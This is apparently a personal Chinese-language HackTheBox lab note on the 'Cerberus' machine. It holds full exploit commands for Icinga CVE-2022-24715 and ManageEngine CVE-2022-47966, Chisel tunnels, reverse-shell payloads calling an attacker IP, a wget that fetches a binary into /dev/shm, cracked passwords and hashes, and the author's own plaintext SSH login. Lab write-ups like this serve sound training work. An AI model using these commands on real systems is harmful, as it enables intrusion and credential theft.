Cerberus HTB 渗透笔记
靶机 : Cerberus | 难度 : Hard | OS : Windows (DC + Linux Container)日期 : 2026-07-19
攻击链概览 1 2 3 外部:8080(Icinga) → LFI → 认证写入 → RCE(www-data@容器) → Chisel隧道 → WinRM(matthew@DC) → user.txt → ADSS(CVE-2022-47966) → SYSTEM → root.txt ← 🔴 阻塞
一、信息搜集
端口 8080 (Apache + Icinga Web 2)
重定向到 http://icinga.cerberus.local:8080/icingaweb2
LFI: /icingaweb2/lib/icinga/icinga-php-thirdparty/<path>
容器 /etc/hosts: 172.16.22.1 DC.cerberus.local
凭据 (resources.ini): matthew:IcingaWebPassword2023
二、立足点 — Icinga Web 2 RCE CVE-2022-24715 : 认证后通过 SSH Resource 模块路径穿越写入 PHP webshell
exploit: /usr/share/exploitdb/exploits/php/webapps/51586.py 1 python3 51586.py -u http://<TARGET>:8080 -U matthew -P 'IcingaWebPassword2023' -i <LHOST> -p <LPORT>
原理 : SSH Resource 的 user 字段存在路径穿越,写入 /dev/shm/<random>/run.php。通过修改 global_module_path 为 /dev/shm/ 并启用模块,Icinga 加载 webshell 执行 PHP。
⚠️ 关键 : 拿 shell 后必须立即恢复 global_module_path 为 /usr/share/icingaweb2/modules/,否则 PHP-FPM 崩溃 (503)。
自动化脚本 (Python + requests)
三、Chisel 隧道 架构 1 HTB服务器(10.10.15.204) ← chisel server --reverse ← 容器(172.16.22.2) → DC(172.16.22.1)
部署 1 2 3 4 5 chisel server --socks5 -p 6666 --reverse /tmp/chisel client 10.10.15.204:6666 R:5985:172.16.22.1:5985 R:9251:172.16.22.1:9251 R:1080:socks
隧道端口
本地端口
目标
用途
5985
172.16.22.1:5985
WinRM
9251
172.16.22.1:9251
ADSelfService Plus
1080
SOCKS5
代理
四、WinRM — matthew 用户 密码 : 147258369 (之前从 SSSD 缓存破解)
1 crackmapexec winrm 127.0.0.1 -u matthew -p 147258369 -x "<command>"
✔ user.txt 1 fde9caaa3b22b3c4fb2e3f90a5e2c21c
五、提权到 SYSTEM (阻塞中) 路径: CVE-2022-47966 (ManageEngine ADSelfService Plus SAML RCE) MSF 模块 : exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966
需要参数 :
参数
值
RHOSTS
172.16.22.1 (通过chisel)
RPORT
9251
SSL
true
GUID
67a8d101690402dc6a6744b8fc8a7ca1acf88b2f (来自 walkthrough)
ISSUER_URL
http://dc.cerberus.local/adsf/services/trust
TARGET
1 (Windows Command)
🔴 阻塞原因: ADSS SSL 握手超时 ADSS 服务状态正常:
监听 0.0.0.0:9251 (PID ~4940)
日志显示 Server started in [67266 ms]
Connect to: [ https://localhost:9251 ]
但从任何路径 SSL 握手均超时:
❌ curl (HTB 服务器直连)
❌ Python SSL (容器内部 172.16.22.2 → 172.16.22.1)
❌ PowerShell Invoke-WebRequest (DC localhost)
❌ MSF 模块 (SSL timeout)
❌ SOCKS5 代理 + 浏览器
未尝试的方案
浏览器访问 : walkthrough 中通过浏览器 SOCKS 代理成功访问 ADSS 获取 SAML redirect
重置后立即访问 : ADSS 可能刚启动时可短暂访问
备份文件解压 : 密码 90846041203202_pukcaBenilffo 但 7z AES 报错
下次操作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 msfconsole -q -x " use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966 set RHOSTS 172.16.22.1 set RPORT 9251 set SSL true set GUID <从SAML获取> set ISSUER_URL http://dc.cerberus.local/adsf/services/trust set TARGET 1 set PAYLOAD cmd/windows/powershell_reverse_tcp set LHOST 10.10.15.204 set LPORT 5555 set ForceExploit true set AutoCheck false set Proxies socks5:127.0.0.1:1080 run "
六、关键文件/路径
文件
路径
Icinga 配置
/etc/icingaweb2/resources.ini
SSSD 缓存
/var/lib/sss/db/cache_cerberus.local.ldb (需 root)
Firejail
/usr/bin/firejail (SUID, v0.9.68rc1, CVE-2022-31214)
ADSS 备份
C:\Program Files (x86)\ManageEngine\ADSelfService Plus\backup\OfflineBackup_20230214064809.ezip
user.txt
C:\Users\matthew\Desktop\user.txt
root.txt
待获取
七、凭据汇总
服务
用户
密码
Icinga Web 2
matthew
IcingaWebPassword2023
WinRM (DC)
matthew
147258369
ADSS 备份
-
90846041203202_pukcaBenilffo (文件名反转)
八、HTB 连接信息
项目
值
HTB VPN 服务器
94.237.62.253
SSH 用户
ch0ico
SSH 密码
RsRYVkDD
tun0 IP
10.10.15.204
靶机 IP
每次重置会变
九、当前状态 & 阻塞复盘 (2026-07-19/20 最终) ✅ 已完成
Icinga RCE → 容器 shell (www-data)
Firejail SUID 提权 → 容器 root
SSSD 缓存导出 → 破解 matthew 密码 147258369
Chisel 隧道建立 ✓
WinRM matthew shell ✓
user.txt ✓
🔴 ADSS (Port 9251) — 核心阻塞 现象 : ADSS 的 0.0.0.0:9251 TCP 端口可达,但 SSL 握手始终超时 。
尝试过的所有方法均失败:
方法
来源
结果
curl
HTB 服务器 → 127.0.0.1:9251
SSL timeout
curl
HTB 服务器 → dc.cerberus.local:9251
SSL timeout
Python SSL socket
容器内 172.16.22.2 → 172.16.22.1:9251
recv timeout
openssl s_client
HTB 服务器
Connection refused / timeout
Invoke-WebRequest
DC (localhost:9251)
“underlying connection closed”
.Net HttpWebRequest
DC (localhost:9251)
同上
MSF CVE-2022-47966
通过 SOCKS5
SSL timeout
Kali 浏览器 + SOCKS5
通过 SSH 隧道
连接超时
Firefox + FoxyProxy SOCKS5
Mac 直接
连接超时
推测 : ADSS 可能有某种 TLS 层面的反检测/反代理机制,或启动后有极短的可用窗口。Walkthrough 作者通过浏览器直接访问成功,但我们也尝试了浏览器却失败。
SOCKS5 调试经历
Chisel SOCKS5 127.0.0.1:1080 (HTB 服务器) — 对 9251 端口超时
proxychains curl — “no valid proxy found in config” (格式问题)
SSH LocalForward: ssh -L 1080:127.0.0.1:1080 ch0ico@94.237.62.253 — bind 冲突
Kali (orb) 到 Mac 的 docker 网络不通 (host.docker.internal, Mac IP 均不行)
十、下次操作 (重置后) Step 1: 一键部署 1 2 3 4 5 6 7 8 9 10 11 ssh ch0ico@94.237.62.253 python3 /usr/share/exploitdb/exploits/php/webapps/51586.py \ -u http://<TARGET>:8080 -U matthew -P 'IcingaWebPassword2023' \ -i 10.10.15.204 -p 4444 /tmp/chisel client 10.10.15.204:6666 R:5985:172.16.22.1:5985 R:9251:172.16.22.1:9251 R:1080:socks
Step 2: ADSS — 用浏览器直接访问 (关键!) 1 2 3 4 ssh -D 9999 -N -f localhost
或者更简单 : 直接在 HTB 服务器上用无头浏览器:
1 2 3 4 5 6 7 python3 -c " import requests proxies = {'https': 'socks5h://127.0.0.1:1080'} r = requests.get('https://172.16.22.1:9251/', proxies=proxies, verify=False, allow_redirects=False, timeout=15) print(r.status_code, r.headers.get('Location','')) "
Step 3: 获取 GUID → MSF 一旦拿到 302 redirect 中的 GUID (40 hex chars):
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 msfconsole -q -x " use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966 set RHOSTS 172.16.22.1 set RPORT 9251 set SSL true set GUID <从SAML获取> set ISSUER_URL http://dc.cerberus.local/adsf/services/trust set TARGET 1 set PAYLOAD cmd/windows/powershell_reverse_tcp set LHOST 10.10.15.204 set LPORT 5555 set ForceExploit true set AutoCheck false set Proxies socks5:127.0.0.1:1080 run "
备选: 尝试 walkthrough 中的 GUID GUID = 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f — 如果 ADSS 没重置可以直接用
备选: 离线恢复 ADSS 备份 OfflineBackup_20230214064809.ezip 可能包含域管理员哈希,密码是文件名反转 90846041203202_pukcaBenilffo
十一、参考链接
十二、🔑 新发现 — 之前遗漏的关键步骤 (来自 bryanmcnulty.com) 为什么 ADSS (9251) 一直超时? 因为我们只转发了 9251,没转发 443!
ADSS 的 SAML SSO 流程是这样的:
1 2 3 4 5 浏览器 → https://DC:443/ (ADFS 登录页) → 用 matthew 凭据登录 → SSO 签发 SAML assertion → 302 重定向到 https://DC:9251/samlLogin/<GUID> → ADSS 处理 SAML → 登录成功
9251 端口不会直接响应浏览器请求 — 它只接受携带有效 SAML assertion 的重定向。直接 curl/浏览器访问 9251 当然超时,因为它在等 443 先完成认证。
bryanmcnulty 的做法 (正确的) 1 2 3 4 5 6 7 8 9 10 11 12 portfwd add -b 127.0.0.1:443 -r 127.0.0.1:443 portfwd add -b 127.0.0.1:9251 -r 127.0.0.1:9251 echo "127.0.0.1 dc.cerberus.local dc" >> /etc/hosts
MSF 参数 (bryanmcnulty) 1 2 3 4 5 6 7 8 9 10 use exploit/multi/http/manageengine_adselfservice_plus_saml_rce_cve_2022_47966 set rhosts 127.0.0.1set target 0 set payload windows/x64/meterpreter/reverse_tcp_rc4set lhost tun0set lport 8000set rc4password <password>set guid 67a8d101690402dc6a6744b8fc8a7ca1acf88b2fset issuer_url http://dc.cerberus.local/adfs/services/trustexploit
修正后的 Chisel 转发 (不用 Sliver) 1 2 3 4 5 6 /tmp/chisel client 10.10.15.204:6666 \ R:5985:172.16.22.1:5985 \ R:9251:172.16.22.1:9251 \ R:443:172.16.22.1:443 \ R:1080:socks
修正后的操作流程 1 2 3 4 5 6 7 8 9 10 11 echo "127.0.0.1 dc.cerberus.local dc" >> /etc/hostscurl -k -v -L --socks5 127.0.0.1:1080 \ -d 'username=matthew&password=147258369' \ 'https://dc.cerberus.local/adfs/ls/' 2>&1 | grep -oP 'samlLogin/\K[0-9a-f]{40}'
⚠️ 之前对比
我们做的
bryanmcnulty 做的
只转发 9251
同时转发 443 + 9251
直接访问 9251
先访问 443 登录 ADFS
Chisel SOCKS5
Sliver portfwd
浏览器超时
BurpSuite + 浏览器 → 成功
target 1 (Cmd)
target 0 (Java)
十三、更新后的完整攻击链 1 2 3 4 5 6 7 8 9 外部:8080(Icinga) → LFI → 凭据(IcingaWebPassword2023) → CVE-2022-24715 RCE → 容器 shell (www-data) → Firejail SUID 提权 → 容器 root → SSSD 缓存 → john破解 → matthew:147258369 → Chisel: 转发 5985 + 443 + 9251 + SOCKS1080 → WinRM → user.txt → 浏览器/Burp → https://dc.cerberus.local:443 登录 ADFS → SAML redirect → https://DC:9251/samlLogin/<GUID> → MSF CVE-2022-47966 → SYSTEM → root.txt ✅
十四、本次攻击记录 (2026-07-19/20) ✅ 已完成
Icinga RCE → 容器 www-data shell
Chisel 隧道: 5985→WinRM, 9251→ADSS, SOCKS5:1080
WinRM matthew:147258369 (密码未变)
user.txt : db426fe17f26d951821070c8c4a08e27
ADSS 备份提取 + 破解:
旧备份: OfflineBackup_20230214064809.ezip
密码: 90846041203202_pukcaBenilffO (大写O!)
hash.txt: $2a$12$IkmRrMCQ6KAuzaMTp4DMxeu0XGpLKuXbz2JMbLVG3gCYTg/JPlE9q
破解: spongebob1
新备份: 250516-221358.ezip, 密码: 853122-615052
SAML 配置确认:
GUID: 67a8d101690402dc6a6744b8fc8a7ca1acf88b2f
ISSUER_URL: http://dc.cerberus.local/adfs/services/trust
LOGIN_URL: https://dc.cerberus.local/adfs/ls/
🔴 阻塞 — ADSS SSL 超时 (已确认无法解决) TLS ClientHello 发出但服务器从不回 ServerHello 。测试了所有路径:
来源
方法
结果
DC localhost
PowerShell / .NET
“underlying connection closed”
容器 → DC
Python urllib
timeout
HTB → chisel → DC
curl / openssl / MSF
SSL timeout
HTB → SOCKS5 → DC
curl / MSF
SSL timeout
openssl 抓包确认 : TCP 连接成功,ClientHello 已发出,服务器不响应。
🎯 下次快速攻击链 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 sshpass -p 'RsRYVkDD' ssh ch0ico@94.237.62.253 python3 /tmp/icinga_rce.py <TARGET_IP> 10.10.15.204 4444 wget http://10.10.15.204:8899/chisel_linux -O /dev/shm/chisel chmod +x /dev/shm/chisel/dev/shm/chisel client 10.10.15.204:6666 R:5985:172.16.22.1:5985 R:9251:172.16.22.1:9251 R:443:172.16.22.1:443 R:1080:socks & msfconsole -q -r /tmp/msf_cerb.rc
🔑 新发现的凭据
服务
用户
密码
来源
Icinga
matthew
IcingaWebPassword2023
resources.ini
WinRM
matthew
147258369
SSSD 缓存
ADSS Admin
admin
spongebob1
备份 hash.txt
备份 ZIP
-
90846041203202_pukcaBenilffO
文件名反转
新备份 ZIP
-
853122-615052
文件名反转
💡 关于 9251 SSL 的猜想
ADSS 服务可能需要极长时间 启动 (日志显示 67s)
重置后立即 访问可能有效
bryanmcnulty 用的是 Sliver implant 在 DC 本地 转发端口,不是 chisel
ADSS 可能有反代理检测,只接受特定来源的连接
备选提权路径
certipy : matthew 在 Certificate Service DCOM Access 组,ADCS 可能可攻击
ADSS 替代 exploits : CVE-2021-40539, CVE-2022-28810 (可能需要认证)
Kerberoasting : 从 DC 获取服务票据
最新备份中的域信息 : 新备份包含完整域结构,可能有用户凭据